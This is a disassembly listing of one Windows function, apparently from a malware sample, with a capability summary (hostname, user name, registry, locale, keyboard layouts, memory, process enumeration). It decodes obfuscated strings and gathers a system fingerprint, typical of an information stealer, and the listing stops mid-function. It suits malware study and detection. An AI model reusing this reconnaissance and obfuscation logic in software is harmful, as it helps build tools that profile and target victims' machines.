Function at 0x40dd20
Capabilities:
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x503cdc
push eax
mov dword fs:[0], esp
mov eax, 0x1f20
push ebx
call fcn.004de1c0
push esi
push edi
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x172]
movaps xmm0, xmmword [0x527830]
movups xmmword [ebp - 0x172], xmm0
mov word [ebp - 0x162], 0x100
call fcn.004631c0
lea eax, [ebp - 0x172]
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x148]
call fcn.00469da0
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x100d8ce
call fcn.00463430
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x74]
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push ecx
push eax
call fcn.004e32b0
mov edi, eax
add esp, 8
mov dword [ebp - 0x78], edi
test edi, edi
je 0x40f1db
call fcn.0040bd90
test eax, eax
mov dword [ebp - 0x1d], 0xd0d2cffb
mov edx, 0x20119
mov dword [ebp - 0x19], 0xe59f84d9
setne byte [ebp - 0x2d]
mov dword [ebp - 0x15], 0xc9cfb2
test eax, eax
mov byte [ebp - 0x11], 1
mov ecx, 0x20019
mov esi, 0x535bd4
cmovne ecx, edx
cmp dword [0x535be8], 0x10
mov dword [ebp - 0x70], ecx
lea ecx, [ebp - 0x1d]
cmovae esi, dword [0x535bd4]
call fcn.00463250
push esi
lea eax, [ebp - 0x1d]
push eax
push edi
call fcn.00402c50
movaps xmm0, xmmword [0x525f00]
lea ecx, [ebp - 0x4e]
add esp, 0xc
mov byte [ebp - 0x3e], 1
cmp dword [0x538184], 0x10
mov esi, 0x538170
movups xmmword [ebp - 0x4e], xmm0
cmovae esi, dword [0x538170]
call fcn.00463190
push esi
lea eax, [ebp - 0x4e]
push eax
push edi
call fcn.00402c50
add esp, 0xc
push 0
call fcn.004eb3fb
add esp, 4
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x118]
mov dword [ebp - 0x114], edx
push eax
call fcn.004eb8e3
add esp, 4
mov dword [ebp - 0x2b], 0xd9cfdbfd
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x27], 0xb39a9e87
mov esi, eax
mov word [ebp - 0x23], 0x100
call fcn.00463160
push esi
lea eax, [ebp - 0x2b]
push eax
push edi
call fcn.00402c50
add esp, 0xc
mov dword [ebp - 0x2a], 0xd2d0d4ec
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x26], 0xd1c9d2
mov byte [ebp - 0x22], 1
call fcn.00463280
lea eax, [ebp - 0x2a]
push eax
lea ecx, [ebp - 0x130]
call fcn.00402760
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x9c]
movaps xmm0, xmmword [0x526ac0]
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0xc8], 0
movaps xmm0, xmmword [0x525df0]
movups xmmword [ebp - 0x8c], xmm0
mov byte [ebp - 0x7c], 1
call fcn.004634a0
lea eax, [ebp - 0xc8]
push eax
push dword [ebp - 0x70]
push 0
lea eax, [ebp - 0x9c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dfcf
lea ecx, [ebp - 0x1d]
mov dword [ebp - 0x5c], 0x20019
mov dword [ebp - 0x64], 0x400
mov dword [ebp - 0x1d], 0xd4d8dbf4
mov dword [ebp - 0x19], 0x87dad0d4
mov dword [ebp - 0x15], 0xa7abb4
mov byte [ebp - 0x11], 1
call fcn.00463250
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0xa18]
push eax
lea eax, [ebp - 0x5c]
push eax
push 0
lea eax, [ebp - 0x1d]
push eax
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dfc3
lea ecx, [ebp - 0xa18]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dfa7
sub ecx, edx
lea eax, [ebp - 0xa18]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.00465cf0
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x11c], 0x10
lea esi, [ebp - 0x130]
movaps xmm0, xmmword [0x525ed0]
lea ecx, [ebp - 0x4e]
cmovae esi, dword [ebp - 0x130]
movups xmmword [ebp - 0x4e], xmm0
mov byte [ebp - 0x3e], 1
call fcn.00463190
push esi
lea eax, [ebp - 0x4e]
push eax
push edi
call fcn.00402c50
add esp, 0xc
mov dword [ebp - 0x68], 0xd2d0d4ec
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x64], 0xd1c9d2
mov byte [ebp - 0x60], 1
call fcn.00463280
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x160]
call fcn.00402760
push 0x7c
lea eax, [ebp - 0x440]
mov byte [ebp - 4], 6
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40e07e
lea ecx, [ebp - 0x43c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e062
sub ecx, edx
lea eax, [ebp - 0x43c]
push ecx
push eax
lea ecx, [ebp - 0x160]
call fcn.00465cf0
cmp dword [ebp - 0x14c], 0x10
lea esi, [ebp - 0x160]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xf8f2effe
cmovae esi, dword [ebp - 0x160]
mov dword [ebp - 0x18], 0xb39a9e87
mov dword [ebp - 0x14], 0x100c8cc
call fcn.00463130
push esi
lea eax, [ebp - 0x1c]
push eax
push edi
call fcn.00402c50
add esp, 0xc
lea ecx, [ebp - 0x94]
call fcn.0040cce0
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x6b]
mov word [ebp - 0x6b], 0xe6
mov byte [ebp - 0x69], 1
call fcn.00463460
lea ecx, [ebp - 0xf0]
call fcn.0040cc70
mov esi, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xb3]
mov word [ebp - 0xb3], 0xe6
mov byte [ebp - 0xb1], 1
call fcn.00463460
lea ecx, [ebp - 0x5a]
mov word [ebp - 0x5a], 0xe6
mov byte [ebp - 0x58], 1
call fcn.00463460
lea eax, [ebp - 0x5a]
push eax
lea edx, [ebp - 0x130]
lea ecx, [ebp - 0x2ac]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.00469fc0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xb3]
mov byte [ebp - 4], 0xa
lea eax, [ecx + 1]
mov dword [ebp - 0x64], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e164
sub ecx, dword [ebp - 0x64]
lea eax, [ebp - 0xb3]
push ecx
push eax
mov ecx, edx
call fcn.00468980
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00402710
push esi
lea eax, [ebp - 0x1d4]
mov byte [ebp - 4], 0xb
push eax
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x26c]
call fcn.0046d9a0
lea ecx, [ebp - 0x6b]
mov byte [ebp - 4], 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e1b0
sub ecx, edx
lea eax, [ebp - 0x6b]
push ecx
push eax
lea ecx, [ebp - 0x26c]
call fcn.00468980
push eax
lea ecx, [ebp - 0x254]
call fcn.00402710
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x254]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x1a4]
push eax
push dword [ebp - 0xb8]
call fcn.0046d9a0
lea ecx, [ebp - 0x254]
call fcn.004026c0
lea ecx, [ebp - 0x26c]
call fcn.004026c0
lea ecx, [ebp - 0x1d4]
call fcn.004026c0
lea ecx, [ebp - 0x294]
call fcn.004026c0
lea ecx, [ebp - 0x2ac]
call fcn.004026c0
lea ecx, [ebp - 0xf0]
call fcn.004026c0
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x15
call fcn.004026c0
xorps xmm0, xmm0
mov byte [ebp - 0x1d8], 0
lea ecx, [ebp - 0x3c0]
movups xmmword [ebp - 0x1f8], xmm0
movups xmmword [ebp - 0x1e8], xmm0
call fcn.00481380
cmp dword [ebp - 0x190], 0x10
lea eax, [ebp - 0x1a4]
push dword [ebp - 0x194]
cmovae eax, dword [ebp - 0x1a4]
lea ecx, [ebp - 0x3c0]
push eax
call fcn.00481140
push 0
lea ecx, [ebp - 0x3c0]
call fcn.00481210
cmp byte [ebp - 0x324], 0
je 0x40e2cc
movups xmm0, xmmword [ebp - 0x313]
mov al, byte [ebp - 0x2f3]
mov byte [ebp - 0x1d8], al
movups xmmword [ebp - 0x1f8], xmm0
movups xmm0, xmmword [ebp - 0x303]
movups xmmword [ebp - 0x1e8], xmm0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xf8f2edf1
mov dword [ebp - 0x18], 0xb39a9e87
mov dword [ebp - 0x14], 0x100c8cc
call fcn.00463130
lea eax, [ebp - 0x1f8]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
call fcn.00402c50
add esp, 0xc
lea eax, [ebp - 0xb20]
push 0x104
push 0
push eax
call fcn.004df440
add esp, 0xc
mov dword [ebp - 0x64], 0
lea eax, [ebp - 0x64]
push eax
push 0x40cab0
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xb20]
push eax
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x3b]
mov dword [ebp - 0x3b], 0xddebb0b4
mov dword [ebp - 0x37], 0xe085d6c9
mov dword [ebp - 0x33], 0xceceb1e4
mov word [ebp - 0x2f], 0x100
call fcn.00463100
lea eax, [ebp - 0xb20]
push eax
lea eax, [ebp - 0x3b]
push eax
push edi
call fcn.00402c50
movaps xmm0, xmmword [0x5279b0]
lea esi, [ebx + 8]
add esp, 0xc
mov word [ebp - 0x3f], 0x100
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebp - 0x4f]
movups xmmword [ebp - 0x4f], xmm0
cmovae esi, dword [ebx + 8]
call fcn.004631c0
push esi
lea eax, [ebp - 0x4f]
push eax
push edi
call fcn.00402c50
add esp, 0xc
cmp dword [ebx + 0x60], 0
je 0x40e3bc
cmp dword [ebx + 0x64], 0x10
lea esi, [ebx + 0x50]
cmovae esi, dword [ebx + 0x50]
jmp 0x40e3c1
mov esi, 0x521a0c
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x2b], 0x9c81eaf0
mov dword [ebp - 0x27], 0xcab2cd98
mov word [ebp - 0x23], 0x100
call fcn.00463160
push esi
lea eax, [ebp - 0x2b]
push eax
push edi
call fcn.00402c50
add esp, 0xc
cmp dword [ebx + 0x48], 0
je 0x40e3fe
cmp dword [ebx + 0x4c], 0x10
lea esi, [ebx + 0x38]
cmovae esi, dword [ebx + 0x38]
jmp 0x40e403
mov esi, 0x521a0c
cmp dword [ebx + 0x30], 0
je 0x40e419
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
cmovae eax, dword [ebx + 0x20]
mov dword [ebp - 0x64], eax
jmp 0x40e420
mov dword [ebp - 0x64], 0x521a0c
movaps xmm0, xmmword [0x527700]
lea ecx, [ebp - 0x51]
movups xmmword [ebp - 0x51], xmm0
mov dword [ebp - 0x41], 0x100c0c4
call fcn.004630d0
push esi
push dword [ebp - 0x64]
lea eax, [ebp - 0x51]
push eax
push edi
call fcn.00402c50
add esp, 0x10
lea ecx, [ebp - 0xfc]
call fcn.00463090
mov byte [ebp - 4], 0x16
mov eax, dword [0x53811c]
mov esi, dword [0x538118]
cmp esi, eax
je 0x40e489
mov edi, eax
nop dword [eax + eax]
push dword [esi]
lea ecx, [ebp - 0xfc]
call fcn.00462fa0
add esi, 8
inc dword [eax]
cmp esi, edi
jne 0x40e470
mov edi, dword [ebp - 0x78]
push 0x5214f8
lea ecx, [ebp - 0x18c]
call fcn.00402760
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x5c]
mov eax, dword [ebp - 0xfc]
push 0
push dword [eax]
call fcn.00467570
mov eax, dword [ebp - 0x5c]
cmp byte [eax + 0xd], 0
jne 0x40e4eb
xor edi, edi
nop word [eax + eax]
cmp dword [eax + 0x28], edi
lea esi, [eax + 0x10]
jle 0x40e4d7
push esi
lea ecx, [ebp - 0x18c]
call fcn.00465f60
mov edi, dword [esi + 0x18]
lea ecx, [ebp - 0x5c]
call fcn.00467510
mov eax, dword [ebp - 0x5c]
cmp byte [eax + 0xd], 0
je 0x40e4c0
mov edi, dword [ebp - 0x78]
cmp dword [ebp - 0x17c], 0
ja 0x40e529
lea ecx, [ebp - 0x6b]
mov word [ebp - 0x6b], 0x94
mov byte [ebp - 0x69], 1
call fcn.00463460
lea ecx, [ebp - 0x6b]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e510
sub ecx, edx
lea eax, [ebp - 0x6b]
push ecx
push eax
lea ecx, [ebp - 0x18c]
call fcn.00465cf0
lea ecx, [ebp - 0x18c]
call fcn.00402800
movaps xmm0, xmmword [0x527b70]
lea ecx, [ebp - 0x54]
mov esi, eax
mov dword [ebp - 0x44], 0xc1b8efe9
movups xmmword [ebp - 0x54], xmm0
mov word [ebp - 0x40], 0xc7
mov byte [ebp - 0x3e], 1
call fcn.00463370
push esi
lea eax, [ebp - 0x54]
push eax
push edi
call fcn.00402c50
movaps xmm0, xmmword [0x526ac0]
lea ecx, [ebp - 0xa9]
add esp, 0xc
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xa9], xmm0
mov dword [ebp - 0x89], 0xb2bea8ab
movaps xmm0, xmmword [0x526e60]
movups xmmword [ebp - 0x99], xmm0
mov dword [ebp - 0x85], 0x92ba88a9
mov dword [ebp - 0x81], 0x8a8c8b92
mov word [ebp - 0x7d], 0x100
call fcn.00462f70
lea eax, [ebp - 0xbc]
push eax
push dword [ebp - 0x70]
lea eax, [ebp - 0xa9]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e69c
lea ecx, [ebp - 0x1d]
mov dword [ebp - 0x70], 0x20019
mov dword [ebp - 0x28], 0x400
mov dword [ebp - 0x1d], 0xd8d4c8e9
mov dword [ebp - 0x19], 0x8ecbddc8
mov dword [ebp - 0x15], 0xa6afa0
mov byte [ebp - 0x11], 1
call fcn.00463250
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xa18]
push eax
lea eax, [ebp - 0x70]
push eax
push 0
lea eax, [ebp - 0x1d]
push eax
push dword [ebp - 0xbc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e690
cmp byte [ebp - 0x2d], al
je 0x40e64c
mov dword [ebp - 0x64], 0x8f8cc1
lea esi, [ebp - 0x64]
mov byte [ebp - 0x60], 1
jmp 0x40e65a
mov dword [ebp - 0x5c], 0x8989c1
lea esi, [ebp - 0x5c]
mov byte [ebp - 0x58], 1
mov ecx, esi
call fcn.00463500
movaps xmm0, xmmword [0x5263e0]
lea ecx, [ebp - 0x51]
movups xmmword [ebp - 0x51], xmm0
mov dword [ebp - 0x41], 0x100c0c4
call fcn.004630d0
push esi
lea eax, [ebp - 0xa18]
push eax
lea eax, [ebp - 0x51]
push eax
push edi
call fcn.00402c50
add esp, 0x10
push dword [ebp - 0xbc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xc28]
push 0
push eax
call fcn.004df440
add esp, 0xc
mov dword [ebp - 0xf4], 0x104
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0xc28]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 0x94]
call fcn.0040da90
mov ecx, eax
mov byte [ebp - 4], 0x18
call fcn.00402800
movaps xmm0, xmmword [0x527b50]
lea ecx, [ebp - 0xf0]
mov esi, eax
mov dword [ebp - 0xe0], 0xe990eaba
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xdc], 0xdac293be
mov word [ebp - 0xd8], 0x100
call fcn.004633d0
push esi
lea eax, [ebp - 0xc28]
push eax
lea eax, [ebp - 0xf0]
push eax
push edi
call fcn.00402c50
add esp, 0x10
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x94]
call fcn.004026c0
push 0x104
lea eax, [ebp - 0xd30]
push 0
push eax
call fcn.004df440
add esp, 0xc
mov dword [ebp - 0xb8], 0x104
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0xd30]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x525ee0]
lea ecx, [ebp - 0x4e]
movups xmmword [ebp - 0x4e], xmm0
mov byte [ebp - 0x3e], 1
call fcn.00463190
lea eax, [ebp - 0xd30]
push eax
lea eax, [ebp - 0x4e]
push eax
push edi
call fcn.00402c50
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x208]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x526700]
lea ecx, [ebp - 0x98]
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0xecf1a4a6
mov dword [ebp - 0x84], 0xf5b7aae8
mov dword [ebp - 0x80], 0xd9dfb5
mov byte [ebp - 0x7c], 1
call fcn.00462f40
push dword [ebp - 0x1fc]
lea eax, [ebp - 0x98]
push dword [ebp - 0x200]
push eax
push edi
call fcn.00402c50
push 0x400
lea eax, [ebp - 0x1330]
push 0
push eax
call fcn.004df440
add esp, 0x1c
lea eax, [ebp - 0x1330]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x526e80]
mov byte [ebp - 0x7c], 1
test eax, eax
je 0x40e87c
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x84], 0xbbeeeaf3
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x80], 0xc5c3be
call fcn.00462f10
lea eax, [ebp - 0x1330]
push eax
lea eax, [ebp - 0x94]
push eax
push edi
call fcn.00402c50
add esp, 0xc
jmp 0x40e8b9
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x88], 0xa29eeaf3
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0xa7a0a0a6
mov dword [ebp - 0x80], 0xd9dfbf
call fcn.00462f40
lea eax, [ebp - 0x98]
push eax
push edi
call fcn.00402c50
add esp, 8
movaps xmm0, xmmword [0x5270f0]
lea ecx, [ebp - 0x53]
movups xmmword [ebp - 0x53], xmm0
mov dword [ebp - 0x43], 0xecf1b9ac
mov word [ebp - 0x3f], 0x100
call fcn.00462ee0
lea eax, [ebp - 0x53]
push eax
push edi
call fcn.00402c50
push 0x200
lea eax, [ebp - 0xf30]
push 0
push eax
call fcn.004df440
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x14
push 0
push 0
call esi
mov dword [ebp - 0x28], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x70], eax
test eax, eax
je 0x40e9c4
push eax
push dword [ebp - 0x28]
call esi
xor esi, esi
mov dword [ebp - 0x28], eax
test eax, eax
je 0x40e9bb
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0xf30]
push eax
mov eax, dword [ebp - 0x70]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40e972
lea eax, [ebp - 0xf30]
push eax
push edi
call fcn.00402c50
add esp, 8
jmp 0x40e99f
lea ecx, [ebp - 0x66]
mov dword [ebp - 0x66], 0x999b9599
mov word [ebp - 0x62], 0xce
mov byte [ebp - 0x60], 1
call fcn.004634d0
lea eax, [ebp - 0xf30]
push eax
lea eax, [ebp - 0x66]
push eax
push edi
call fcn.00402c50
add esp, 0xc
push 0x200
lea eax, [ebp - 0xf30]
push 0
push eax
call fcn.004df440
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x28]
jb 0x40e940
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x10c]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x10c], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x526e40]
lea ecx, [ebp - 0x9e]
movups xmmword [ebp - 0x9e], xmm0
mov word [ebp - 0x7e], 0xd3
movaps xmm0, xmmword [0x527a00]
movups xmmword [ebp - 0x8e], xmm0
mov byte [ebp - 0x7c], 1
call fcn.00462eb0
movzx eax, word [ebp - 0x100]
push eax
movzx eax, word [ebp - 0x102]
push eax
movzx eax, word [ebp - 0x104]
push eax
movzx eax, word [ebp - 0x10c]
push eax
movzx eax, word [ebp - 0x10a]
push eax
movzx eax, word [ebp - 0x106]
push eax
lea eax, [ebp - 0x9e]
push eax
push edi
call fcn.00402c50
add esp, 0x20
lea eax, [ebp - 0x218]
xorps xmm0, xmm0
movups xmmword [ebp - 0x218], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x4f0]
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x4f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x27c]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x4f0]
push eax
movups xmmword [ebp - 0x27c], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm0, dword [ebp - 0x4f0]
lea ecx, [ebp - 0x50]
cvtdq2ps xmm0, xmm0
mov word [ebp - 0x40], 0xc3
mov byte [ebp - 0x3e], 1
divss xmm0, dword [0x525c60]
xorps xmm0, xmmword [0x5260d0]
movss dword [ebp - 0x28], xmm0
movaps xmm0, xmmword [0x5279d0]
movups xmmword [ebp - 0x50], xmm0
call fcn.00463340
cvttss2si eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x50]
push eax
push edi
call fcn.00402c50
add esp, 0xc
mov dword [ebp - 0x3d], 0xf4e0b0b4
lea ecx, [ebp - 0x3d]
mov dword [ebp - 0x39], 0xb7dbccdc
mov dword [ebp - 0x35], 0x99a6b0a0
mov dword [ebp - 0x31], 0x100ccc8
call fcn.00462e80
lea eax, [ebp - 0x3d]
push eax
push edi
call fcn.00402c50
movaps xmm0, xmmword [0x526460]
lea ecx, [ebp - 0xab]
add esp, 8
mov dword [ebp - 0xc0], 0
movups xmmword [ebp - 0xab], xmm0
mov dword [ebp - 0x8b], 0x8cb7bbab
movaps xmm0, xmmword [0x526e20]
movups xmmword [ebp - 0x9b], xmm0
mov dword [ebp - 0x87], 0x85bcb1af
mov dword [ebp - 0x83], 0x968c9192
mov dword [ebp - 0x7f], 0x100d6b9
call fcn.00463470
lea eax, [ebp - 0xc0]
push eax
push 0x20019
push 0
lea eax, [ebp - 0xab]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ec31
movaps xmm0, xmmword [0x5275e0]
lea ecx, [ebp - 0x52]
mov dword [ebp - 0x70], 0x20019
mov dword [ebp - 0x28], 0x400
movups xmmword [ebp - 0x52], xmm0
mov dword [ebp - 0x42], 0xaca4a0
mov byte [ebp - 0x3e], 1
call fcn.00462e50
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xa18]
push eax
lea eax, [ebp - 0x70]
push eax
push 0
lea eax, [ebp - 0x52]
push eax
push dword [ebp - 0xc0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40ec25
movaps xmm0, xmmword [0x525ef0]
lea ecx, [ebp - 0x4e]
movups xmmword [ebp - 0x4e], xmm0
mov byte [ebp - 0x3e], 1
call fcn.00463190
lea eax, [ebp - 0xa18]
push eax
lea eax, [ebp - 0x4e]
push eax
push edi
call fcn.00402c50
add esp, 0xc
push dword [ebp - 0xc0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x21c], 0
lea eax, [ebp - 0x23c]
push eax
movups xmmword [ebp - 0x23c], xmm0
movups xmmword [ebp - 0x22c], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movaps xmm0, xmmword [0x525ec0]
lea ecx, [ebp - 0x4e]
movups xmmword [ebp - 0x4e], xmm0
mov byte [ebp - 0x3e], 1
call fcn.00463190
push dword [ebp - 0x228]
lea eax, [ebp - 0x4e]
push eax
push edi
call fcn.00402c50
add esp, 0xc
mov dword [ebp - 0x2f0], 0x40
lea eax, [ebp - 0x2f0]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40ece3
lea ecx, [ebp - 0x3b]
mov dword [ebp - 0x3b], 0x86f6fbeb
mov dword [ebp - 0x37], 0xe0ca9b9d
mov dword [ebp - 0x33], 0xcece808c
mov word [ebp - 0x2f], 0x100
call fcn.00463100
mov ecx, dword [ebp - 0x2e8]
mov eax, dword [ebp - 0x2e4]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x3b]
push eax
push edi
call fcn.00402c50
add esp, 0x10
lea ecx, [ebp - 0xd4]
call fcn.0046d6c0
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x19
call fcn.00464d90
push 0x1a4
lea eax, [ebp - 0x7bc]
mov dword [ebp - 0x70], 0
push 0
push eax
mov dword [ebp - 0x7c0], 0x1a8
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x7c0]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x40ee9d
nop
mov esi, dword [ebp - 0xd0]
mov eax, 0x2aaaaaab
mov ecx, esi
xor edi, edi
sub ecx, dword [ebp - 0xd4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40edd3
xor esi, esi
nop word [eax + eax]
lea eax, [ebp - 0x79c]
push eax
lea ecx, [ebp - 0x94]
call fcn.00402760
mov ecx, dword [ebp - 0xd4]
add ecx, esi
push eax
call fcn.0046d970
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x2d], al
call fcn.004026c0
cmp byte [ebp - 0x2d], 0
jne 0x40ee59
mov ecx, dword [ebp - 0xd0]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xd4]
inc edi
imul ecx
add esi, 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x40ed70
mov esi, dword [ebp - 0xd0]
sub esi, dword [ebp - 0xd4]
lea ecx, [ebp - 0x52]
movaps xmm0, xmmword [0x527b60]
mov eax, 0x2aaaaaab
imul esi
movups xmmword [ebp - 0x52], xmm0
mov dword [ebp - 0x42], 0xc1c7ba
sar edx, 2
mov esi, edx
mov byte [ebp - 0x3e], 1
shr esi, 0x1f
add esi, edx
call fcn.00462e50
mov edi, dword [ebp - 0x78]
lea eax, [ebp - 0x79c]
push eax
push esi
lea eax, [ebp - 0x52]
push eax
push edi
call fcn.00402c50
add esp, 0x10
lea eax, [ebp - 0x79c]
lea ecx, [ebp - 0x1d4]
push eax
call fcn.00402760
lea eax, [ebp - 0x1d4]
mov byte [ebp - 4], 0x1a
push eax
lea ecx, [ebp - 0xd4]
call fcn.0046b4d0
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x19
call fcn.004026c0
jmp 0x40ee5c
mov edi, dword [ebp - 0x78]
mov esi, dword [ebp - 0x70]
lea eax, [ebp - 0x7bc]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x7c0], 0x1a8
push eax
mov dword [ebp - 0x70], esi
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x7c0]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x40ed40
movaps xmm0, xmmword [0x525eb0]
lea ecx, [ebp - 0x4e]
movups xmmword [ebp - 0x4e], xmm0
mov byte [ebp - 0x3e], 1
call fcn.00463190
lea eax, [ebp - 0x4e]
push eax
push edi
call fcn.00402c50
add esp, 8
mov dword [ebp - 0x618], pe_nt_image_headers32
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40ef56
lea eax, [ebp - 0x618]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40ef4f
lea eax, [ebp - 0x618]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x40ef4f
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0xe79bc99c
mov dword [ebp - 0x28], 0xcde2da98
mov word [ebp - 0x24], 0xcb
mov byte [ebp - 0x22], 1
call fcn.00463400
